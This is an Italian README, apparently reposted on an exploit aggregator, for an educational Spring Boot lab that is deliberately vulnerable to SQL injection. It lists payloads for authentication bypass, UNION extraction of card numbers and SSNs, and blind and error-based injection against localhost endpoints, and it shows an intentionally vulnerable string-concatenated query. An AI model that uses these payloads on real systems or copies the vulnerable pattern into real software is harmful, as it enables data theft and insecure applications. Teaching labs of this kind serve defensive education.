Share
## https://sploitus.com/exploit?id=2B56970A-9BA4-530E-8584-8DC35BCC0244
# SQL Injection Lab π
Un laboratorio completo per testare e comprendere le **vulnerabilitΓ SQL Injection** nelle applicazioni Java. Questo progetto dimostra approcci vulnerabili alle interazioni con il database utilizzando Spring Boot e JDBC **esclusivamente per scopi educativi**.
## π― Scopo del Progetto
Questo progetto Γ¨ stato progettato per gli sviluppatori per:
- Comprendere i vettori di attacco SQL Injection
- Imparare a identificare pattern di codice vulnerabili
- Analizzare le tecniche di attacco SQL Injection
- Studiare le vulnerabilitΓ di sicurezza nelle applicazioni web
## π Prerequisiti
- **Java 21** o superiore
- **Maven 3.8.9** o superiore
- **Spring Boot 3.5.7** (con Spring Web MVC e Thymeleaf)
- **Database SQLite** (embedded, in-memory con funzione SLEEP() personalizzata per test basati sul tempo)
- **Browser Web Moderno** (Chrome, Firefox, Edge, Safari) per accedere all'interfaccia web interattiva
## π Riepilogo Attacchi SQL Injection
Questo progetto implementa **7 tipi** di attacchi SQL Injection con implementazioni vulnerabili:
| Tipo di Attacco | Implementato | Esempio | Impatto |
|----------------|--------------|---------|---------|
| First Order | β
Sì | `1' OR '1'='1` | Estrazione diretta dei dati |
| Authentication Bypass | β
Sì | `admin'--` o `' OR '1'='1` | Bypassa il login |
| Second Order | β
Sì | Memorizza `malicious' OR '1'='1` poi esegue | Exploit ritardato |
| Boolean-based Blind | β
Sì | `admin' AND SUBSTRING(password,1,1)='s` | Estrazione carattere per carattere |
| Time-based Blind | β
Sì | `1' AND SLEEP(5)--` | Estrazione basata sui tempi con funzione SLEEP() personalizzata |
| UNION-based | β
Sì | `' UNION SELECT credit_card FROM sensitive_data--` | Estrazione dati da più tabelle |
| Error-Based | β
Sì | `1'` o `1 AND invalid_column=1` | Estrazione dati tramite messaggi di errore |
## ποΈ Struttura del Progetto
```
sql-injection-lab/
βββ src/
β βββ main/
β β βββ java/com/sqllib/
β β β βββ App.java # Punto di ingresso dell'applicazione Spring Boot
β β β βββ controllers/
β β β β βββ UserController.java # Endpoint REST API (VULNERABILI - 10 endpoint)
β β β β βββ WebViewController.java # Controller Web UI (7 pagine di attacco + dashboard)
β β β βββ services/
β β β β βββ UserService.java # Logica Business (VULNERABILE)
β β β βββ repositories/
β β β β βββ UserRepository.java # Accesso ai Dati (VULNERABILE)
β β β βββ config/
β β β β βββ DataSourceDirectoryInitializer.java # Inizializzatore directory database
β β β βββ utils/
β β β βββ DatabaseConnection.java # Utility Connessione Database
β β βββ resources/
β β βββ application.properties # Configurazione Applicazione
β β βββ schema.sql # Schema Database
β β βββ static/ # Risorse statiche (CSS, JS, immagini)
β β β βββ css/
β β β βββ dashboard.css # Stili centralizzati per dashboard
β β β βββ attack-pages.css # Stili centralizzati per pagine di attacco
β β βββ templates/ # Template HTML Thymeleaf
β β βββ dashboard.html # Pagina principale con 7 card di attacco
β β βββ auth-bypass.html # Pagina attacco Authentication Bypass
β β βββ user-retrieval.html # Pagina attacco Data Retrieval
β β βββ union-injection.html # Pagina attacco UNION-Based
β β βββ time-based-blind.html # Pagina attacco Time-Based Blind
β β βββ boolean-blind.html # Pagina attacco Boolean-Based Blind
β β βββ error-based.html # Pagina attacco Error-Based
β β βββ second-order.html # Pagina attacco Second Order
β β
β βββ test/
β βββ java/com/sqllib/
β β βββ UserServiceTests.java # Test Integrazione (Vulnerabili - 8 test FALLISCONO quando l'injection funziona)
β βββ resources/
β βββ application.properties # Configurazione Test
β βββ schema.sql # Schema Database Test
β βββ init-test-db.sql # Inizializzazione Database Test
β
βββ data/ # Directory database SQLite (creata automaticamente)
β βββ sqllib.db # File database SQLite persistente
β
βββ pom.xml # Configurazione Maven
βββ .gitignore # Regole Git Ignore
βββ SQL-Injection-Lab-Vulnerable.postman_collection.json # Collezione Postman
βββ README.md # Documentazione progetto
```
## π Panoramica Architettura
Questo progetto utilizza un'**architettura a tre livelli** con **implementazioni vulnerabili** per scopi educativi, piΓΉ un'**interfaccia web interattiva** per il testing:
### **π INTERFACCIA WEB (Testing Interattivo)**
```
Browser β GET /auth-bypass
β
WebViewController
β
Template Thymeleaf (dashboard.html, auth-bypass.html, ecc.)
β
L'utente clicca "Test Attacco" β POST /api/users?username=admin'--
β
Flusso REST API (vedi sotto)
```
### **π΄ PERCORSO VULNERABILE (Scopi Educativi)**
```
GET /api/users/{id}
β
UserController (Vulnerabile)
β
UserService (Vulnerabile)
β
UserRepository (Concatenazione Stringhe - VULNERABILE)
β
Database (Rischio SQL Injection!)
```
## π Avvio Rapido
### 1. **Compilare il Progetto**
```bash
# Compilare senza eseguire i test
mvn clean package -DskipTests
# Compilare con i test
mvn clean package
```
### 2. **Eseguire l'Applicazione**
```bash
# Opzione 1: Usando Maven
mvn spring-boot:run -DskipTests
# Opzione 2: Eseguire il file JAR
java -jar target/sql-injection-lab-1.0.0.jar
```
L'applicazione si avvierΓ su **`http://localhost:8080`**
### 3. **Accedere all'Interfaccia Web** π
L'applicazione include un'**interfaccia web interattiva** per testare gli attacchi SQL injection attraverso il browser:
**URL Dashboard**: `http://localhost:8080`
#### **FunzionalitΓ **:
- π¨ **UI Moderna con 7 Card di Attacco**: Ogni card rappresenta una diversa tecnica di SQL injection
- π΄ **Sezione Vulnerabile**: Testa i payload e vedi come funziona la SQL injection in tempo reale
- **Payload Click-to-use**: Esempi di attacco preconfigurati che popolano automaticamente i campi di input
- π― **Effetti Hover**: Feedback visivo sugli elementi interattivi
- π **Pulsante Reset Database**: Ripristina il database allo stato iniziale con un click
- π **Risultati in Tempo Reale**: Vedi l'esecuzione della query, il tempo di risposta e i risultati dell'attacco
- π **Syntax Highlighting**: Evidenziazione SQL con Prism.js per migliore leggibilitΓ
- π **Focus Educativo**: Impara i vettori di attacco SQL Injection
#### **Pagine di Attacco Disponibili**:
1. **Authentication Bypass** - `/auth-bypass` - Bypassa il login usando commenti SQL e OR injection
2. **User Data Retrieval** - `/user-retrieval` - Estrae record multipli usando OR injection
3. **UNION-Based** - `/union-injection` - Estrae dati da altre tabelle usando UNION SELECT
4. **Time-Based Blind** - `/time-based-blind` - Rileva l'injection tramite ritardi nella risposta
5. **Boolean-Based Blind** - `/boolean-blind` - Estrae dati carattere per carattere
6. **Error-Based** - `/error-based` - Estrae informazioni tramite messaggi di errore SQL
7. **Second Order** - `/second-order` - Memorizza il payload, poi esegue al recupero
#### **Come Usare**:
1. Naviga su `http://localhost:8080`
2. Clicca su qualsiasi card di attacco per aprire la pagina di test
3. Clicca sui payload di esempio per popolare i campi di input
4. Invia per vedere l'attacco in azione
5. Usa il pulsante "Reset Database" per ripristinare lo stato iniziale
### 4. **Usare la Collezione Postman**
Importa la collezione Postman fornita per testare tutti gli endpoint vulnerabili con esempi di attacco preconfigurati:
1. Apri Postman
2. Clicca **Import** (in alto a sinistra)
3. Seleziona il file: `SQL-Injection-Lab-Vulnerable.postman_collection.json`
4. Assicurati che l'applicazione sia in esecuzione su `http://localhost:8080`
5. Sfoglia la collezione per testare ciascuno dei 7 tipi di SQL Injection
**FunzionalitΓ della Collezione:**
- β
**18 richieste preconfigurate** con payload di attacco
- β
Organizzate per tipo di SQL Injection (7 categorie)
- β
Esempi sia legittimi che malevoli
- β
Descrizioni dettagliate per ogni attacco
- β
Pronta all'uso - basta importare e testare!
## π Endpoint API
### **π΄ Endpoint Vulnerabili** β οΈ (Percorso: `/api/users`)
Questi endpoint dimostrano vulnerabilitΓ SQL Injection usando concatenazione di stringhe:
**1. Ottieni Utente per ID (First Order SQL Injection)**
```bash
GET http://localhost:8080/api/users/{id}
```
Esempio attacco: `http://localhost:8080/api/users/1' OR '1'='1`
- **Risultato attacco**: Restituisce TUTTI gli utenti (admin, user, test) invece di uno solo
**2. Login (Authentication Bypass)**
```bash
POST http://localhost:8080/api/users/login
Content-Type: application/x-www-form-urlencoded
username=admin&password=secret123
```
Esempi di attacco:
```bash
# Bypass con Commento SQL
username=admin'--&password=anything
# Bypass con OR 1=1
username=hackerr'' or 1=1--&password=anything
```
- **Risultato attacco**: Login senza password valida
**3. Second Order SQL Injection - Step 1: Memorizza Username Malevolo**
```bash
POST http://localhost:8080/api/users/
Content-Type: application/x-www-form-urlencoded
username=hackerr'' or 1=1--&password=password123&email=hacker@example.com
```
- Memorizza il payload SQL malevolo nel **campo username**
- **Risposta**: `User created with ID: 4` (copia questo ID per lo Step 2!)
**4. Second Order SQL Injection - Step 2: Esegui Injection Memorizzata**
```bash
GET http://localhost:8080/api/users/profile/4
```
- **Risultato attacco**: Restituisce TUTTE le email degli utenti invece di una sola
**5. Verifica Esistenza Utente (Boolean-based Blind SQL Injection)**
```bash
GET http://localhost:8080/api/users/exists/{username}
```
Esempi di attacco:
```bash
# Estrai 1Β° carattere della password
http://localhost:8080/api/users/exists/admin' AND SUBSTR(password,1,1)='s
# Estrai 2Β° carattere della password
http://localhost:8080/api/users/exists/admin' AND SUBSTR(password,2,1)='e
```
- **Risultato attacco**: Restituisce true/false per rivelare i caratteri della password
**6. Ottieni Email Utente (Time-based Blind SQL Injection)**
```bash
GET http://localhost:8080/api/users/email/{userId}
```
Esempio attacco:
```bash
# Attacco basato sul tempo con funzione SLEEP() personalizzata
http://localhost:8080/api/users/email/1' AND SLEEP(5)--
```
- **Risultato attacco**: La risposta impiega ~5 secondi se l'injection ha successo
**7. Cerca Utenti per Nome (UNION-based SQL Injection)**
```bash
GET http://localhost:8080/api/users/search?username={username}
```
Esempi di attacco:
```bash
# Estrai carte di credito dalla tabella sensitive_data
http://localhost:8080/api/users/search?username=' UNION SELECT credit_card FROM sensitive_data--
# Estrai numeri SSN
http://localhost:8080/api/users/search?username=' UNION SELECT ssn FROM sensitive_data--
```
- **Risultato attacco**: Restituisce dati sensibili invece degli username
**8. Ottieni Password Utente (Error-Based SQL Injection)**
```bash
GET http://localhost:8080/api/users/password/{userId}
```
Esempio attacco:
```bash
# Sintassi SQL non valida - espone messaggio di errore del database
http://localhost:8080/api/users/password/1'
```
- **Risultato attacco**: Messaggi di errore espongono struttura query e informazioni database
---
## οΏ½ Esempi di Attacchi
### **Implementazione Vulnerabile (UserRepository)**
```java
// β VULNERABILE - Concatenazione stringhe
public String getUserById(String id) throws SQLException {
String query = "SELECT username FROM users WHERE id = '" + id + "'";
Statement stmt = connection.createStatement();
ResultSet rs = stmt.executeQuery(query);
// Attacco: id = "1' OR '1'='1" β Restituisce sempre risultati!
}
```
## π§ͺ Esecuzione Test
### Esegui Tutti i Test
```bash
mvn test
```
### Esegui Classe di Test Specifica
```bash
# Test Integrazione (Layer Service)
mvn test -Dtest=UserServiceTests # Test implementazione vulnerabile (8 test)
```
### Esegui Metodo di Test Specifico
```bash
# Esempio: Esegui solo test UNION-based injection
mvn test "-Dtest=UserServiceTests#testUNIONBasedInjection"
# Esempio: Esegui solo test authentication bypass
mvn test "-Dtest=UserServiceTests#testAuthenticationBypassVulnerable"
```
### Salta i Test Durante la Compilazione
```bash
mvn clean package -DskipTests
```
### Filosofia dei Test
**Test Vulnerabili (UserServiceTests)**:
- π₯ I test **FALLISCONO** quando la SQL injection ha successo
- Test fallito = vulnerabilitΓ rilevata nel codice
- Ogni fallimento include payload e dati esposti
- Uso in CI/CD: test vulnerabili falliti indicano problemi di sicurezza
### Riepilogo Copertura Test
```
β UserServiceTests (8 test) - Test FALLISCONO quando SQL injection ha successo
Totale: 8 test di integrazione usando @SpringBootTest con database SQLite in-memory
```
## π Stack Tecnologico
| Componente | Versione | Scopo |
|-----------|---------|-------|
| Spring Boot | 3.5.7 | Framework Web |
| Java | 21 | Ambiente Runtime |
| SQLite | 3.49.1.0 | Database embedded in-memory con funzione SLEEP() personalizzata |
| JUnit 5 | Latest | Testing Integrazione |
| Maven | 3.8.9+ | Strumento Build |
| Thymeleaf | Latest | Template Engine |
| Bootstrap | 5.3.2 | Framework CSS |
| Font Awesome | 6.4.2 | Libreria Icone |
| Prism.js | 1.29.0 | Evidenziazione Sintassi SQL |
## π Configurazione Applicazione
**`application.properties`**
```properties
spring.application.name=sql-injection-lab
server.port=8080
# Configurazione Database SQLite con funzione SLEEP() personalizzata
spring.datasource.url=jdbc:sqlite:data/sqllib.db
spring.datasource.driverClassName=org.sqlite.JDBC
spring.datasource.username=
spring.datasource.password=
# Inizializza schema database all'avvio
spring.sql.init.mode=always
```
## ποΈ Schema Database
**Tabella Users**
```sql
CREATE TABLE users (
id INT PRIMARY KEY AUTO_INCREMENT,
username VARCHAR(50) NOT NULL,
password VARCHAR(255) NOT NULL,
email VARCHAR(100) NOT NULL
);
```
**Tabella Sensitive Data**
```sql
CREATE TABLE sensitive_data (
id INT PRIMARY KEY AUTO_INCREMENT,
secret_key VARCHAR(255),
credit_card VARCHAR(16),
ssn VARCHAR(11)
);
```
## π― Tipi di SQL Injection Dimostrati
### 1. **First Order SQL Injection**
Injection diretta dove l'input malevolo viene immediatamente usato in una query SQL.
**Esempio Attacco:**
```bash
GET /api/users/1' OR '1'='1
# Restituisce: "admin, user, test" - TUTTI gli utenti invece di uno solo!
```
### 2. **Authentication Bypass**
Caso speciale di First Order injection che prende di mira i meccanismi di login.
**Esempi Attacco:**
```bash
# Bypass basato su commenti
username: admin'--
password: anything
# Bypass basato su OR
username: hackerr'' or 1=1--
password: anything
```
### 3. **Second Order SQL Injection**
Dati malevoli vengono prima memorizzati nel database, poi eseguiti in una query successiva quando recuperati.
**Flusso:**
1. **Fase Memorizzazione:** L'utente crea un account con username malevolo: `hackerr'' or 1=1--`
2. **Fase Recupero:** Il sistema recupera lo username per ID dal database
3. **Fase Esecuzione:** Il sistema usa lo username recuperato in un'altra query senza sanitizzazione (VULNERABILE!)
### 4. **Boolean-based Blind SQL Injection**
Estrae dati carattere per carattere osservando risposte vero/falso.
**Esempio Attacco:**
```bash
# Estrai primo carattere della password admin
GET /api/users/exists/admin' AND SUBSTRING(password,1,1)='s
# Se restituisce true, il primo carattere Γ¨ 's'
```
### 5. **Time-based Blind SQL Injection**
Estrae dati causando ritardi deliberati e misurando i tempi di risposta.
**Esempio Attacco:**
```bash
# Attacco time-based con funzione SLEEP() personalizzata
GET /api/users/email/1' AND SLEEP(5)--
# La risposta impiega ~5 secondi se l'injection ha successo
```
### 6. **UNION-based SQL Injection**
Combina risultati da query SELECT multiple per estrarre dati da altre tabelle.
**Esempio Attacco:**
```bash
# Attacco UNION estrae numeri carte di credito dalla tabella sensitive_data
GET /api/users/search?username=' UNION SELECT credit_card FROM sensitive_data--
# Restituisce: 4532111122223333, 5555666677778888
# CRITICO: Espone dati finanziari da tabella diversa!
```
### 7. **Error-Based SQL Injection**
Estrae dati sensibili forzando il database a generare messaggi di errore che rivelano informazioni.
**Esempio Attacco:**
```bash
# Sintassi SQL non valida scatena errore
GET /api/users/password/1'
# Risposta: "SQL ERROR: [SQLITE_ERROR] SQL error or missing database (unrecognized token: "'")"
```
**Informazioni Esposte:**
- Struttura query e sintassi
- Tipo di database (SQLite, MySQL, ecc.)
- Esistenza tabelle e colonne
- Dettagli errore che aiutano a creare ulteriori attacchi
## π Obiettivi di Apprendimento
Dopo aver lavorato con questo progetto, dovresti comprendere:
1. β
**Fondamenti SQL Injection** - Cos'Γ¨ la SQL Injection e come funziona
2. β
**Vettori di Attacco** - 7 diversi tipi di attacchi SQL Injection
3. β
**Pattern Codice Vulnerabile** - Concatenazione stringhe e perchΓ© Γ¨ pericolosa
4. β
**Architettura a Livelli** - Come separare le responsabilitΓ attraverso tre tier
5. β
**Testing Integrazione** - Scrivere test che usano database reali per dimostrare vulnerabilitΓ
6. β
**Attacchi Second Order** - Comprendere vulnerabilitΓ ad esecuzione ritardata
7. β
**Tecniche Blind Injection** - Estrazione dati senza output diretto della query
8. β
**Attacchi UNION-based** - Estrarre dati da piΓΉ tabelle simultaneamente
9. β
**Attacchi Error-Based** - Sfruttare messaggi di errore per estrarre dati sensibili
## β οΈ Note Importanti sulla Sicurezza
**β οΈ AVVERTIMENTO:** Questo progetto contiene codice intenzionalmente vulnerabile a scopi educativi. **NON usare questo codice in produzione!**
### Strategia Organizzazione File
Il progetto mantiene **due implementazioni parallele**:
- **Percorso Vulnerabile** (`UserRepository`, `UserService`, `UserController`)
- Scopo: Dimostrare vulnerabilitΓ SQL Injection
- Usato in testing e insegnamento
- Contiene falle di sicurezza intenzionali
### Best Practices per Produzione:
1. **Usa sempre query parametrizzate** o framework ORM (Hibernate, JPA)
2. **Valida e sanitizza** tutti gli input utente
3. **Usa il principio del minimo privilegio** per gli account database
4. **Implementa autenticazione e autorizzazione appropriate**
5. **Usa Web Application Firewalls (WAF)** per protezione aggiuntiva
6. **Mantieni aggiornate le dipendenze** per evitare vulnerabilitΓ note
7. **Esegui audit di sicurezza regolari** e penetration testing
## π§ FunzionalitΓ Aggiuntive
### **Creazione Automatica Directory Database**
L'applicazione crea automaticamente la cartella `data/` se non esiste:
- β
`DataSourceDirectoryInitializer` - Crea la directory prima dell'inizializzazione Spring Boot
- β
`DatabaseConnection.ensureDataDirectoryExists()` - Crea la directory per connessioni JDBC dirette
- β
Nessuna configurazione manuale richiesta
### **Funzione SLEEP() Personalizzata**
Implementazione personalizzata della funzione SLEEP() per SQLite:
```java
// Registrata in DatabaseConnection.registerSleepFunction()
// Permette attacchi time-based blind come MySQL
SELECT * FROM users WHERE id=1 AND SLEEP(5)
```
## π Risorse Aggiuntive
- [OWASP SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection)
- [OWASP Top 10](https://owasp.org/Top10/)
- [Spring Security Documentation](https://spring.io/projects/spring-security)
- [Java JDBC Best Practices](https://docs.oracle.com/javase/tutorial/jdbc/)
## π€ Contribuire
I contributi sono benvenuti! Sentiti libero di:
- Segnalare problemi o vulnerabilitΓ
- Suggerire miglioramenti
- Aggiungere piΓΉ casi di test
- Migliorare la documentazione
## π Licenza
Questo progetto è fornito così com'è a scopi educativi.
## π¨βπ» Autore
Creato come laboratorio educativo per il testing e l'apprendimento delle vulnerabilitΓ SQL Injection.
---
**Ultimo Aggiornamento:** 12 Novembre 2025
**Versione Spring Boot:** 3.5.7
**Versione Java:** 21
**Suite Test:** 8 test di integrazione - dimostrano come le SQL injection sfruttano codice vulnerabile
**Tipi SQL Injection:** 7 tipi implementati
**Endpoint API:** 8 endpoint vulnerabili per scopi educativi
**Interfaccia Web:** 7 pagine di attacco + dashboard interattiva
**FunzionalitΓ Personalizzate:** Funzione SLEEP() per testing SQL injection time-based